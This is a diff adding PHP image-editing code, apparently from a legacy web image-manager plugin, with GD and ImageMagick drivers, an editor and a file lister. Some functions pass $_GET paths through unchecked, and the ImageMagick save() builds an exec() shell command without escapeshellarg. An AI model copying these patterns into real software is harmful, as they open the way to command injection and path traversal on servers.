+ $c = imagecolorat ( $img, $x, $y);
+ imagesetpixel($img2,$max_y-$y-1,$x,$c);
+ }
+ }
+ break;
+ case 180:
+ imagefill ($img2, 0, 0,$mask);
+ for ($y=0; $y < $max_y; $y++) {
+ for ($x = $min_x; $x < $max_x; $x++){
+ $c = @imagecolorat ( $img, $x, $y);
+ imagesetpixel($img2, $max_x2-$x-1, $max_y2-$y-1, $c);
+ }
+ }
+ break;
+ case 270:
+ imagefill ($img2, 0, 0,$mask);
+ for ($y=0; $y < $max_y; $y++) {
+ for ($x = $max_x; $x >= $min_x; $x--){
+ $c = @imagecolorat ( $img, $x, $y);
+ imagesetpixel($img2,$y,$max_x-$x-1,$c);
+ }
+ }
+ break;
+ // simple reverse rotation algo
+ default:
+ $i=0;
+ for ($y = $min_y2; $y < $max_y2; $y++){
+
+ // Algebra :)
+ $x2 = round((($min_x2-$x1) * $cosT) + (($y-$y1) * $sinT + $x1),0);
+ $y2 = round((($y-$y1) * $cosT - ($min_x2-$x1) * $sinT + $y1),0);
+
+ for ($x = $min_x2; $x < $max_x2; $x++){
+
+ // Check if we are out of original bounces, if we are
+ // use the default color mask
+ if ( $x2>=0 && $x2<$max_x && $y2>=0 && $y2<$max_y ){
+ $c = imagecolorat ( $img, $x2, $y2);
+ } else {
+ $c = $mask;
+ }
+ imagesetpixel($img2,$x+$x_offset,$y+$y_offset,$c);
+
+ // round verboten!
+ $x2 += $cosT;
+ $y2 -= $sinT;
+ }
+ }
+ break;
+ }
+ $this->old_image = $this->imageHandle;
+ $this->imageHandle = $img2;
+ return true;
+ }
+
+
+ /**
+ * Resize Action
+ *
+ * For GD 2.01+ the new copyresampled function is used
+ * It uses a bicubic interpolation algorithm to get far
+ * better result.
+ *
+ * @param $new_x int new width
+ * @param $new_y int new height
+ *
+ * @return true on success or pear error
+ * @see PEAR::isError()
+ */
+ function _resize($new_x, $new_y) {
+ if ($this->resized === true) {
+ return false; /*PEAR::raiseError('You have already resized the image without saving it. Your previous resizing will be overwritten', null, PEAR_ERROR_TRIGGER, E_USER_NOTICE);*/
+ }
+ if(function_exists('ImageCreateTrueColor')){
+ $new_img =ImageCreateTrueColor($new_x,$new_y);
+ } else {
+ $new_img =ImageCreate($new_x,$new_y);
+ }
+ if(function_exists('ImageCopyResampled')){
+ ImageCopyResampled($new_img, $this->imageHandle, 0, 0, 0, 0, $new_x, $new_y, $this->img_x, $this->img_y);
+ } else {
+ ImageCopyResized($new_img, $this->imageHandle, 0, 0, 0, 0, $new_x, $new_y, $this->img_x, $this->img_y);
+ }
+ $this->old_image = $this->imageHandle;
+ $this->imageHandle = $new_img;
+ $this->resized = true;
+
+ $this->new_x = $new_x;
+ $this->new_y = $new_y;
+ return true;
+ }
+
+ /**
+ * Crop the image
+ *
+ * @param int $crop_x left column of the image
+ * @param int $crop_y top row of the image
+ * @param int $crop_width new cropped image width
+ * @param int $crop_height new cropped image height
+ */
+ function crop($new_x, $new_y, $new_width, $new_height)
+ {
+ if(function_exists('ImageCreateTrueColor')){
+ $new_img =ImageCreateTrueColor($new_width,$new_height);
+ } else {
+ $new_img =ImageCreate($new_width,$new_height);
+ }
+ if(function_exists('ImageCopyResampled')){
+ ImageCopyResampled($new_img, $this->imageHandle, 0, 0, $new_x, $new_y,$new_width,$new_height,$new_width,$new_height);
+ } else {
+ ImageCopyResized($new_img, $this->imageHandle, 0, 0, $new_x, $new_y, $new_width,$new_height,$new_width,$new_height);
+ }
+ $this->old_image = $this->imageHandle;
+ $this->imageHandle = $new_img;
+ $this->resized = true;
+
+ $this->new_x = $new_x;
+ $this->new_y = $new_y;
+ return true;
+ }
+
+ /**
+ * Flip the image horizontally or vertically
+ *
+ * @param boolean $horizontal true if horizontal flip, vertical otherwise
+ */
+ function flip($horizontal)
+ {
+ if(!$horizontal) {
+ $this->rotate(180);
+ }
+
+ $width = imagesx($this->imageHandle);
+ $height = imagesy($this->imageHandle);
+
+ for ($j = 0; $j < $height; $j++) {
+ $left = 0;
+ $right = $width-1;
+
+
+ while ($left < $right) {
+ //echo " j:".$j." l:".$left." r:".$right."\n<br>";
+ $t = imagecolorat($this->imageHandle, $left, $j);
+ imagesetpixel($this->imageHandle, $left, $j, imagecolorat($this->imageHandle, $right, $j));
+ imagesetpixel($this->imageHandle, $right, $j, $t);
+ $left++; $right--;
+ }
+
+ }
+
+ return true;
+ }
+
+
+ /**
+ * Adjust the image gamma
+ *
+ * @param float $outputgamma
+ *
+ * @return none
+ */
+ function gamma($outputgamma=1.0) {
+ ImageGammaCorrect($this->imageHandle, 1.0, $outputgamma);
+ }
+
+ /**
+ * Save the image file
+ *
+ * @param $filename string the name of the file to write to
+ * @param $quality int output DPI, default is 85
+ * @param $types string define the output format, default
+ * is the current used format
+ *
+ * @return none
+ */
+ function save($filename, $type = '', $quality = 85)
+ {
+ $type = $type==''? $this->type : $type;
+ $functionName = 'image' . $type;
+
+ if(function_exists($functionName))
+ {
+ $this->old_image = $this->imageHandle;
+ if($type=='jpeg')
+ $functionName($this->imageHandle, $filename, $quality);
+ else
+ $functionName($this->imageHandle, $filename);
+ $this->imageHandle = $this->old_image;
+ $this->resized = false;
+ }
+ } // End save
+
+
+ /**
+ * Display image without saving and lose changes
+ *
+ * @param string type (JPG,PNG...);
+ * @param int quality 75
+ *
+ * @return none
+ */
+ function display($type = '', $quality = 75)
+ {
+ if ($type != '') {
+ $this->type = $type;
+ }
+ $functionName = 'Image' . $this->type;
+ if(function_exists($functionName))
+ {
+ header('Content-type: image/' . strtolower($this->type));
+ $functionName($this->imageHandle, '', $quality);
+ $this->imageHandle = $this->old_image;
+ $this->resized = false;
+ ImageDestroy($this->old_image);
+ $this->free();
+ }
+ }
+
+ /**
+ * Destroy image handle
+ *
+ * @return none
+ */
+ function free()
+ {
+ if ($this->imageHandle){
+ ImageDestroy($this->imageHandle);
+ }
+ }
+
+} // End class ImageGD
+?>
--- /dev/null
+<?php
+
+/***********************************************************************
+** Title.........: ImageMagick Driver
+** Version.......: 1.0
+** Author........: Xiang Wei ZHUO <wei@zhuo.org>
+** Filename......: IM.php
+** Last changed..: 30 Aug 2003
+** Notes.........: Orginal is from PEAR
+**/
+
+// +----------------------------------------------------------------------+
+// | PHP Version 4 |
+// +----------------------------------------------------------------------+
+// | Copyright (c) 1997-2002 The PHP Group |
+// +----------------------------------------------------------------------+
+// | This source file is subject to version 2.02 of the PHP license, |
+// | that is bundled with this package in the file LICENSE, and is |
+// | available at through the world-wide-web at |
+// | http://www.php.net/license/2_02.txt. |
+// | If you did not receive a copy of the PHP license and are unable to |
+// | obtain it through the world-wide-web, please send a note to |
+// | license@php.net so we can mail you a copy immediately. |
+// +----------------------------------------------------------------------+
+// | Authors: Peter Bowyer <peter@mapledesign.co.uk> |
+// +----------------------------------------------------------------------+
+//
+// $Id: IM.php,v 1.1.1.1 2006/05/01 16:46:14 cscott Exp $
+//
+// Image Transformation interface using command line ImageMagick
+//
+
+require_once "Transform.php";
+
+Class Image_Transform_Driver_IM extends Image_Transform
+{
+ /**
+ * associative array commands to be executed
+ * @var array
+ */
+ var $command = array();
+
+ /**
+ *
+ *
+ */
+ function Image_Transform_Driver_IM()
+ {
+ return true;
+ } // End Image_IM
+
+ /**
+ * Load image
+ *
+ * @param string filename
+ *
+ * @return mixed none or a PEAR error object on error
+ * @see PEAR::isError()
+ */
+ function load($image)
+ {
+
+ $this->uid = md5($_SERVER['REMOTE_ADDR']);
+ /*if (!file_exists($image)) {
+ return PEAR::raiseError('The image file ' . $image . ' does\'t exist', true);
+ }*/
+ $this->image = $image;
+ $this->_get_image_details($image);
+ } // End load
+
+ /**
+ * Resize Action
+ *
+ * @param int new_x new width
+ * @param int new_y new height
+ *
+ * @return none
+ * @see PEAR::isError()
+ */
+ function _resize($new_x, $new_y)
+ {
+ /*if (isset($this->command['resize'])) {
+ return PEAR::raiseError("You cannot scale or resize an image more than once without calling save or display", true);
+ }*/
+ $this->command['resize'] = "-geometry ${new_x}x${new_y}!";
+
+ $this->new_x = $new_x;
+ $this->new_y = $new_y;
+ } // End resize
+
+ /**
+ * Crop the image
+ *
+ * @param int $crop_x left column of the image
+ * @param int $crop_y top row of the image
+ * @param int $crop_width new cropped image width
+ * @param int $crop_height new cropped image height
+ */
+ function crop($crop_x, $crop_y, $crop_width, $crop_height)
+ {
+ $this->command['crop'] = "-crop {$crop_width}x{$crop_height}+{$crop_x}+{$crop_y}";
+ }
+
+ /**
+ * Flip the image horizontally or vertically
+ *
+ * @param boolean $horizontal true if horizontal flip, vertical otherwise
+ */
+ function flip($horizontal)
+ {
+ if($horizontal)
+ $this->command['flop'] = "-flop";
+ else
+ $this->command['flip'] = "-flip";
+ }
+ /**
+ * rotate
+ *
+ * @param int angle rotation angle
+ * @param array options no option allowed
+ *
+ */
+ function rotate($angle, $options=null)
+ {
+ if ('-' == $angle{0}) {
+ $angle = 360 - substr($angle, 1);
+ }
+ $this->command['rotate'] = "-rotate $angle";
+ } // End rotate
+
+ /**
+ * addText
+ *
+ * @param array options Array contains options
+ * array(
+ * 'text' The string to draw
+ * 'x' Horizontal position
+ * 'y' Vertical Position
+ * 'Color' Font color
+ * 'font' Font to be used
+ * 'size' Size of the fonts in pixel
+ * 'resize_first' Tell if the image has to be resized
+ * before drawing the text
+ * )
+ *
+ * @return none
+ * @see PEAR::isError()
+ */
+ function addText($params)
+ {
+ $default_params = array(
+ 'text' => 'This is Text',
+ 'x' => 10,
+ 'y' => 20,
+ 'color' => 'red',
+ 'font' => 'Arial.ttf',
+ 'resize_first' => false // Carry out the scaling of the image before annotation?
+ );
+ $params = array_merge($default_params, $params);
+ extract($params);
+ if (true === $resize_first) {
+ // Set the key so that this will be the last item in the array
+ $key = 'ztext';
+ } else {
+ $key = 'text';
+ }
+ $this->command[$key] = "-font $font -fill $color -draw 'text $x,$y \"$text\"'";
+ // Producing error: gs: not found gs: not found convert: Postscript delegate failed [No such file or directory].
+ } // End addText
+
+ /**
+ * Adjust the image gamma
+ *
+ * @param float $outputgamma
+ *
+ * @return none
+ */
+ function gamma($outputgamma=1.0) {
+ $this->command['gamma'] = "-gamma $outputgamma";
+ }
+
+ /**
+ * Save the image file
+ *
+ * @param $filename string the name of the file to write to
+ * @param $quality quality image dpi, default=75
+ * @param $type string (JPG,PNG...)
+ *
+ * @return none
+ */
+ function save($filename, $type='', $quality = 85)
+ {
+ $type == '' ? $this->type : $type;
+ $cmd = '' . IMAGE_TRANSFORM_LIB_PATH . 'convert ';
+ $cmd .= implode(' ', $this->command) . " -quality $quality ";
+ $cmd .= '"'.($this->image) . '" "' . ($filename) . '" 2>&1';
+
+ //$cmd = str_replace('/', '\\', $cmd);
+ //echo($cmd.'<br>');
+ exec($cmd,$retval);
+ //error_log('IM '.print_r($retval,true));
+ } // End save
+
+ /**
+ * Display image without saving and lose changes
+ *
+ * @param string type (JPG,PNG...);
+ * @param int quality 75
+ *
+ * @return none
+ */
+ function display($type = '', $quality = 75)
+ {
+ if ($type == '') {
+ header('Content-type: image/' . $this->type);
+ passthru(IMAGE_TRANSFORM_LIB_PATH . 'convert ' . implode(' ', $this->command) . " -quality $quality " . escapeshellarg($this->image) . ' ' . strtoupper($this->type) . ":-");
+ } else {
+ header('Content-type: image/' . $type);
+ passthru(IMAGE_TRANSFORM_LIB_PATH . 'convert ' . implode(' ', $this->command) . " -quality $quality " . escapeshellarg($this->image) . ' ' . strtoupper($type) . ":-");
+ }
+ }
+
+
+ /**
+ * Destroy image handle
+ *
+ * @return none
+ */
+ function free()
+ {
+ return true;
+ }
+
+} // End class ImageIM
+?>
--- /dev/null
+<?
+/**
+ * Image Editor. Editing tools, crop, rotate, scale and save.
+ * @author $Author: cscott $
+ * @version $Id: ImageEditor.php,v 1.1.1.1 2006/05/01 16:46:14 cscott Exp $
+ * @package ImageManager
+ */
+
+require_once('Transform.php');
+
+/**
+ * Handles the basic image editing capbabilities.
+ * @author $Author: cscott $
+ * @version $Id: ImageEditor.php,v 1.1.1.1 2006/05/01 16:46:14 cscott Exp $
+ * @package ImageManager
+ * @subpackage Editor
+ */
+class ImageEditor
+{
+ /**
+ * ImageManager instance.
+ */
+ var $manager;
+
+ /**
+ * user based on IP address
+ */
+ var $_uid;
+
+ /**
+ * tmp file storage time.
+ */
+ var $lapse_time =900; //15 mins
+
+ var $filesaved = 0;
+
+ /**
+ * Create a new ImageEditor instance. Editing requires a
+ * tmp file, which is saved in the current directory where the
+ * image is edited. The tmp file is assigned by md5 hash of the
+ * user IP address. This hashed is used as an ID for cleaning up
+ * the tmp files. In addition, any tmp files older than the
+ * the specified period will be deleted.
+ * @param ImageManager $manager the image manager, we need this
+ * for some file and path handling functions.
+ */
+ function ImageEditor($manager)
+ {
+ $this->manager = $manager;
+ $this->_uid = md5($_SERVER['REMOTE_ADDR']);
+ }
+
+ /**
+ * Did we save a file?
+ * @return int 1 if the file was saved sucessfully,
+ * 0 no save operation, -1 file save error.
+ */
+ function isFileSaved()
+ {
+ Return $this->filesaved;
+ }
+
+ /**
+ * Process the image, if not action, just display the image.
+ * @return array with image information, empty array if not an image.
+ * <code>array('src'=>'url of the image', 'dimensions'=>'width="xx" height="yy"',
+ * 'file'=>'image file, relative', 'fullpath'=>'full path to the image');</code>
+ */
+ function processImage()
+ {
+ if(isset($_GET['img']))
+ $relative = rawurldecode($_GET['img']);
+ else
+ Return array();
+
+ //$relative = '/Series2004NoteFront.jpg';
+
+ $imgURL = $this->manager->getFileURL($relative);
+ $fullpath = $this->manager->getFullPath($relative);
+
+ $imgInfo = @getImageSize($fullpath);
+ if(!is_array($imgInfo))
+ Return array();
+
+ $action = $this->getAction();
+
+ if(!is_null($action))
+ {
+ $image = $this->processAction($action, $relative, $fullpath);
+ }
+ else
+ {
+ $image['src'] = $imgURL;
+ $image['dimensions'] = $imgInfo[3];
+ $image['file'] = $relative;
+ $image['fullpath'] = $fullpath;
+ }
+
+ Return $image;
+ }
+
+ /**
+ * Process the actions, crop, scale(resize), rotate, flip, and save.
+ * When ever an action is performed, the result is save into a
+ * temporary image file, see createUnique on the filename specs.
+ * It does not return the saved file, alway returning the tmp file.
+ * @param string $action, should be 'crop', 'scale', 'rotate','flip', or 'save'
+ * @param string $relative the relative image filename
+ * @param string $fullpath the fullpath to the image file
+ * @return array with image information
+ * <code>array('src'=>'url of the image', 'dimensions'=>'width="xx" height="yy"',
+ * 'file'=>'image file, relative', 'fullpath'=>'full path to the image');</code>
+ */
+ function processAction($action, $relative, $fullpath)
+ {
+ $params = '';
+
+ if(isset($_GET['params']))
+ $params = $_GET['params'];
+
+ $values = explode(',',$params,4);
+ $saveFile = $this->getSaveFileName($values[0]);
+
+ $img = Image_Transform::factory(IMAGE_CLASS);
+ $img->load($fullpath);
+
+ switch ($action)
+ {
+ case 'crop':
+ $img->crop(intval($values[0]),intval($values[1]),
+ intval($values[2]),intval($values[3]));
+ break;
+ case 'scale':
+ $img->resize(intval($values[0]),intval($values[1]));
+ break;
+ case 'rotate':
+ $img->rotate(floatval($values[0]));
+ break;
+ case 'flip':
+ if ($values[0] == 'hoz')
+ $img->flip(true);
+ else if($values[0] == 'ver')
+ $img->flip(false);
+ break;
+ case 'save':
+ if(!is_null($saveFile))
+ {
+ $quality = intval($values[1]);
+ if($quality <0) $quality = 85;
+ $newSaveFile = $this->makeRelative($relative, $saveFile);
+ $newSaveFile = $this->getUniqueFilename($newSaveFile);
+
+ //get unique filename just returns the filename, so
+ //we need to make the relative path once more.
+ $newSaveFile = $this->makeRelative($relative, $newSaveFile);
+ $newSaveFullpath = $this->manager->getFullPath($newSaveFile);
+ $img->save($newSaveFullpath, $values[0], $quality);
+ if(is_file($newSaveFullpath))
+ $this->filesaved = 1;
+ else
+ $this->filesaved = -1;
+ }
+ break;
+ }
+
+ //create the tmp image file
+ $filename = $this->createUnique($fullpath);
+ $newRelative = $this->makeRelative($relative, $filename);
+ $newFullpath = $this->manager->getFullPath($newRelative);
+ $newURL = $this->manager->getFileURL($newRelative);
+
+ //save the file.
+ $img->save($newFullpath);
+ $img->free();
+
+ //get the image information
+ $imgInfo = @getimagesize($newFullpath);
+
+ $image['src'] = $newURL;
+ $image['dimensions'] = $imgInfo[3];
+ $image['file'] = $newRelative;
+ $image['fullpath'] = $newFullpath;
+
+ Return $image;
+
+ }
+
+ /**
+ * Get the file name base on the save name
+ * and the save type.
+ * @param string $type image type, 'jpeg', 'png', or 'gif'
+ * @return string the filename according to save type
+ */
+ function getSaveFileName($type)
+ {
+ if(!isset($_GET['file']))
+ Return null;
+
+ $filename = Files::escape(rawurldecode($_GET['file']));
+ $index = strrpos($filename,'.');
+ $base = substr($filename,0,$index);
+ $ext = strtolower(substr($filename,$index+1,strlen($filename)));
+
+ if($type == 'jpeg' && !($ext=='jpeg' || $ext=='jpg'))
+ {
+ Return $base.'.jpeg';
+ }
+ if($type=='png' && $ext != 'png')
+ Return $base.'.png';
+ if($type=='gif' && $ext != 'gif')
+ Return $base.'.gif';
+
+ Return $filename;
+ }
+
+ /**
+ * Get the default save file name, used by editor.php.
+ * @return string a suggestive filename, this should be unique
+ */
+ function getDefaultSaveFile()
+ {
+ if(isset($_GET['img']))
+ $relative = rawurldecode($_GET['img']);
+ else
+ Return null;
+
+ Return $this->getUniqueFilename($relative);
+ }
+
+ /**
+ * Get a unique filename. If the file exists, the filename
+ * base is appended with an increasing integer.
+ * @param string $relative the relative filename to the base_dir
+ * @return string a unique filename in the current path
+ */
+ function getUniqueFilename($relative)
+ {
+ $fullpath = $this->manager->getFullPath($relative);
+
+ $pathinfo = pathinfo($fullpath);
+
+ $path = Files::fixPath($pathinfo['dirname']);
+ $file = Files::escape($pathinfo['basename']);
+
+ $filename = $file;
+
+ $dotIndex = strrpos($file, '.');
+ $ext = '';
+
+ if(is_int($dotIndex))
+ {
+ $ext = substr($file, $dotIndex);
+ $base = substr($file, 0, $dotIndex);
+ }
+
+ $counter = 0;
+ while(is_file($path.$filename))
+ {
+ $counter++;
+ $filename = $base.'_'.$counter.$ext;
+ }
+
+ Return $filename;
+
+ }
+
+ /**
+ * Specifiy the original relative path, a new filename
+ * and return the new filename with relative path.
+ * i.e. $pathA (-filename) + $file
+ * @param string $pathA the relative file
+ * @param string $file the new filename
+ * @return string relative path with the new filename
+ */
+ function makeRelative($pathA, $file)
+ {
+ $index = strrpos($pathA,'/');
+ if(!is_int($index))
+ Return $file;
+
+ $path = substr($pathA, 0, $index);
+ Return Files::fixPath($path).$file;
+ }
+
+ /**
+ * Get the action GET parameter
+ * @return string action parameter
+ */
+ function getAction()
+ {
+ $action = null;
+ if(isset($_GET['action']))
+ $action = $_GET['action'];
+ Return $action;
+ }
+
+ /**
+ * Generate a unique string based on md5(microtime()).
+ * Well not so uniqe, as it is limited to 6 characters
+ * @return string unique string.
+ */
+ function uniqueStr()
+ {
+ return substr(md5(microtime()),0,6);
+ }
+
+ /**
+ * Create unique tmp image file name.
+ * The filename is based on the tmp file prefix
+ * specified in config.inc.php plus
+ * the UID (basically a md5 of the remote IP)
+ * and some random 6 character string.
+ * This function also calls to clean up the tmp files.
+ * @param string $file the fullpath to a file
+ * @return string a unique filename for that path
+ * NOTE: it only returns the filename, path no included.
+ */
+ function createUnique($file)
+ {
+ $pathinfo = pathinfo($file);
+ $path = Files::fixPath($pathinfo['dirname']);
+ $imgType = $this->getImageType($file);
+
+ $unique_str = $this->manager->getTmpPrefix().$this->_uid.'_'.$this->uniqueStr().".".$imgType;
+
+ //make sure the the unique temp file does not exists
+ while (file_exists($path.$unique_str))
+ {
+ $unique_str = $this->manager->getTmpPrefix().$this->_uid.'_'.$this->uniqueStr().".".$imgType;
+ }
+
+ $this->cleanUp($path,$pathinfo['basename']);
+
+ Return $unique_str;
+ }
+
+ /**
+ * Delete any tmp image files.
+ * @param string $path the full path
+ * where the clean should take place.
+ */
+ function cleanUp($path,$file)
+ {
+ $path = Files::fixPath($path);
+
+ if(!is_dir($path))
+ Return false;
+
+ $d = @dir($path);
+
+ $tmp = $this->manager->getTmpPrefix();
+ $tmpLen = strlen($tmp);
+
+ $prefix = $tmp.$this->_uid;
+ $len = strlen($prefix);
+
+ while (false !== ($entry = $d->read()))
+ {
+ //echo $entry."<br>";
+ if(is_file($path.$entry) && $this->manager->isTmpFile($entry))
+ {
+ if(substr($entry,0,$len)==$prefix && $entry != $file)
+ Files::delFile($path.$entry);
+ else if(substr($entry,0,$tmpLen)==$tmp && $entry != $file)
+ {
+ if(filemtime($path.$entry)+$this->lapse_time < time())
+ Files::delFile($path.$entry);
+ }
+ }
+ }
+ $d->close();
+ }
+
+ /**
+ * Get the image type base on an image file.
+ * @param string $file the full path to the image file.
+ * @return string of either 'gif', 'jpeg', 'png' or 'bmp'
+ * otherwise it will return null.
+ */
+ function getImageType($file)
+ {
+ $imageInfo = @getImageSize($file);
+
+ if(!is_array($imageInfo))
+ Return null;
+
+ switch($imageInfo[2])
+ {
+ case 1:
+ Return 'gif';
+ case 2:
+ Return 'jpeg';
+ case 3:
+ Return 'png';
+ case 6:
+ Return 'bmp';
+ }
+
+ Return null;
+ }
+
+ /**
+ * Check if the specified image can be edit by GD
+ * mainly to check that GD can read and save GIFs
+ * @return int 0 if it is not a GIF file, 1 is GIF is editable, -1 if not editable.
+ */
+ function isGDEditable()
+ {
+ if(isset($_GET['img']))
+ $relative = rawurldecode($_GET['img']);
+ else
+ Return 0;
+ if(IMAGE_CLASS != 'GD')
+ Return 0;
+
+ $fullpath = $this->manager->getFullPath($relative);
+
+ $type = $this->getImageType($fullpath);
+ if($type != 'gif')
+ Return 0;
+
+ if(function_exists('ImageCreateFrom'+$type)
+ && function_exists('image'+$type))
+ Return 1;
+ else
+ Return -1;
+ }
+
+ /**
+ * Check if GIF can be edit by GD.
+ * @return int 0 if it is not using the GD library, 1 is GIF is editable, -1 if not editable.
+ */
+ function isGDGIFAble()
+ {
+ if(IMAGE_CLASS != 'GD')
+ Return 0;
+
+ if(function_exists('ImageCreateFromGif')
+ && function_exists('imagegif'))
+ Return 1;
+ else
+ Return -1;
+ }
+}
+
+?>
\ No newline at end of file
--- /dev/null
+<?
+/**
+ * ImageManager, list images, directories, and thumbnails.
+ * @author $Author: cscott $
+ * @version $Id: ImageManager.php,v 1.1.1.1 2006/05/01 16:46:14 cscott Exp $
+ * @package ImageManager
+ */
+
+require_once('Files.php');
+
+/**
+ * ImageManager Class.
+ * @author $Author: cscott $
+ * @version $Id: ImageManager.php,v 1.1.1.1 2006/05/01 16:46:14 cscott Exp $
+ */
+class ImageManager
+{
+ /**
+ * Configuration array.
+ */
+ var $config;
+
+ /**
+ * Array of directory information.
+ */
+ var $dirs;
+
+ /**
+ * Constructor. Create a new Image Manager instance.
+ * @param array $config configuration array, see config.inc.php
+ */
+ function ImageManager($config)
+ {
+ $this->config = $config;
+ }
+
+ /**
+ * Get the base directory.
+ * @return string base dir, see config.inc.php
+ */
+ function getBaseDir()
+ {
+ Return $this->config['base_dir'];
+ }
+
+ /**
+ * Get the base URL.
+ * @return string base url, see config.inc.php
+ */
+ function getBaseURL()
+ {
+ Return $this->config['base_url'];
+ }
+
+ function isValidBase()
+ {
+ return is_dir($this->getBaseDir());
+ }
+
+ /**
+ * Get the tmp file prefix.
+ * @return string tmp file prefix.
+ */
+ function getTmpPrefix()
+ {
+ Return $this->config['tmp_prefix'];
+ }
+
+ /**
+ * Get the sub directories in the base dir.
+ * Each array element contain
+ * the relative path (relative to the base dir) as key and the
+ * full path as value.
+ * @return array of sub directries
+ * <code>array('path name' => 'full directory path', ...)</code>
+ */
+ function getDirs()
+ {
+ if(is_null($this->dirs))
+ {
+ $dirs = $this->_dirs($this->getBaseDir(),'/');
+ ksort($dirs);
+ $this->dirs = $dirs;
+ }
+ return $this->dirs;
+ }
+
+ /**
+ * Recursively travese the directories to get a list
+ * of accessable directories.
+ * @param string $base the full path to the current directory
+ * @param string $path the relative path name
+ * @return array of accessiable sub-directories
+ * <code>array('path name' => 'full directory path', ...)</code>
+ */
+ function _dirs($base, $path)
+ {
+ $base = Files::fixPath($base);
+ $dirs = array();
+
+ if($this->isValidBase() == false)
+ return $dirs;
+
+ $d = @dir($base);
+
+ while (false !== ($entry = $d->read()))
+ {
+ //If it is a directory, and it doesn't start with
+ // a dot, and if is it not the thumbnail directory
+ if(is_dir($base.$entry)
+ && substr($entry,0,1) != '.'
+ && $this->isThumbDir($entry) == false)
+ {
+ $relative = Files::fixPath($path.$entry);
+ $fullpath = Files::fixPath($base.$entry);
+ $dirs[$relative] = $fullpath;
+ $dirs = array_merge($dirs, $this->_dirs($fullpath, $relative));
+ }
+ }
+ $d->close();
+
+ Return $dirs;
+ }
+
+ /**
+ * Get all the files and directories of a relative path.
+ * @param string $path relative path to be base path.
+ * @return array of file and path information.
+ * <code>array(0=>array('relative'=>'fullpath',...), 1=>array('filename'=>fileinfo array(),...)</code>
+ * fileinfo array: <code>array('url'=>'full url',
+ * 'relative'=>'relative to base',
+ * 'fullpath'=>'full file path',
+ * 'image'=>imageInfo array() false if not image,
+ * 'stat' => filestat)</code>
+ */
+ function getFiles($path)
+ {
+ $files = array();
+ $dirs = array();
+
+ if($this->isValidBase() == false)
+ return array($files,$dirs);
+
+ $path = Files::fixPath($path);
+ $base = Files::fixPath($this->getBaseDir());
+ $fullpath = Files::makePath($base,$path);
+
+
+ $d = @dir($fullpath);
+
+ while (false !== ($entry = $d->read()))
+ {
+ //not a dot file or directory
+ if(substr($entry,0,1) != '.')
+ {
+ if(is_dir($fullpath.$entry)
+ && $this->isThumbDir($entry) == false)
+ {
+ $relative = Files::fixPath($path.$entry);
+ $full = Files::fixPath($fullpath.$entry);
+ $count = $this->countFiles($full);
+ $dirs[$relative] = array('fullpath'=>$full,'entry'=>$entry,'count'=>$count);
+ }
+ else if(is_file($fullpath.$entry) && $this->isThumb($entry)==false && $this->isTmpFile($entry) == false)
+ {
+ $img = $this->getImageInfo($fullpath.$entry);
+
+ if(!(!is_array($img)&&$this->config['validate_images']))
+ {
+ $file['url'] = Files::makePath($this->config['base_url'],$path).$entry;
+ $file['relative'] = $path.$entry;
+ $file['fullpath'] = $fullpath.$entry;
+ $file['image'] = $img;
+ $file['stat'] = stat($fullpath.$entry);
+ $files[$entry] = $file;
+ }
+ }
+ }
+ }
+ $d->close();
+ ksort($dirs);
+ ksort($files);
+
+ Return array($dirs, $files);
+ }
+
+ /**
+ * Count the number of files and directories in a given folder
+ * minus the thumbnail folders and thumbnails.
+ */
+ function countFiles($path)
+ {
+ $total = 0;
+
+ if(is_dir($path))
+ {
+ $d = @dir($path);
+
+ while (false !== ($entry = $d->read()))
+ {
+ //echo $entry."<br>";
+ if(substr($entry,0,1) != '.'
+ && $this->isThumbDir($entry) == false
+ && $this->isTmpFile($entry) == false
+ && $this->isThumb($entry) == false)
+ {
+ $total++;
+ }
+ }
+ $d->close();
+ }
+ return $total;
+ }
+
+ /**
+ * Get image size information.
+ * @param string $file the image file
+ * @return array of getImageSize information,
+ * false if the file is not an image.
+ */
+ function getImageInfo($file)
+ {
+ Return @getImageSize($file);
+ }
+
+ /**
+ * Check if the file contains the thumbnail prefix.
+ * @param string $file filename to be checked
+ * @return true if the file contains the thumbnail prefix, false otherwise.
+ */
+ function isThumb($file)
+ {
+ $len = strlen($this->config['thumbnail_prefix']);
+ if(substr($file,0,$len)==$this->config['thumbnail_prefix'])
+ Return true;
+ else
+ Return false;
+ }
+
+ /**
+ * Check if the given directory is a thumbnail directory.
+ * @param string $entry directory name
+ * @return true if it is a thumbnail directory, false otherwise
+ */
+ function isThumbDir($entry)
+ {
+ if($this->config['thumbnail_dir'] == false
+ || strlen(trim($this->config['thumbnail_dir'])) == 0)
+ Return false;
+ else
+ Return ($entry == $this->config['thumbnail_dir']);
+ }
+
+ /**
+ * Check if the given file is a tmp file.
+ * @param string $file file name
+ * @return boolean true if it is a tmp file, false otherwise
+ */
+ function isTmpFile($file)
+ {
+ $len = strlen($this->config['tmp_prefix']);
+ if(substr($file,0,$len)==$this->config['tmp_prefix'])
+ Return true;
+ else
+ Return false;
+ }
+
+ /**
+ * For a given image file, get the respective thumbnail filename
+ * no file existence check is done.
+ * @param string $fullpathfile the full path to the image file
+ * @return string of the thumbnail file
+ */
+ function getThumbName($fullpathfile)
+ {
+ $path_parts = pathinfo($fullpathfile);
+
+ $thumbnail = $this->config['thumbnail_prefix'].$path_parts['basename'];
+
+ if($this->config['safe_mode'] == true
+ || strlen(trim($this->config['thumbnail_dir'])) == 0)
+ {
+ Return Files::makeFile($path_parts['dirname'],$thumbnail);
+ }
+ else
+ {
+ if(strlen(trim($this->config['thumbnail_dir'])) > 0)
+ {
+ $path = Files::makePath($path_parts['dirname'],$this->config['thumbnail_dir']);
+ if(!is_dir($path))
+ Files::createFolder($path);
+ Return Files::makeFile($path,$thumbnail);
+ }
+ else //should this ever happen?
+ {
+ //error_log('ImageManager: Error in creating thumbnail name');
+ }
+ }
+ }
+
+ /**
+ * Similar to getThumbName, but returns the URL, base on the
+ * given base_url in config.inc.php
+ * @param string $relative the relative image file name,
+ * relative to the base_dir path
+ * @return string the url of the thumbnail
+ */
+ function getThumbURL($relative)
+ {
+ $path_parts = pathinfo($relative);
+ $thumbnail = $this->config['thumbnail_prefix'].$path_parts['basename'];
+ if($path_parts['dirname']=='\\') $path_parts['dirname']='/';
+
+ if($this->config['safe_mode'] == true
+ || strlen(trim($this->config['thumbnail_dir'])) == 0)
+ {
+ Return Files::makeFile($this->getBaseURL(),$thumbnail);
+ }
+ else
+ {
+ if(strlen(trim($this->config['thumbnail_dir'])) > 0)
+ {
+ $path = Files::makePath($path_parts['dirname'],$this->config['thumbnail_dir']);
+ $url_path = Files::makePath($this->getBaseURL(), $path);
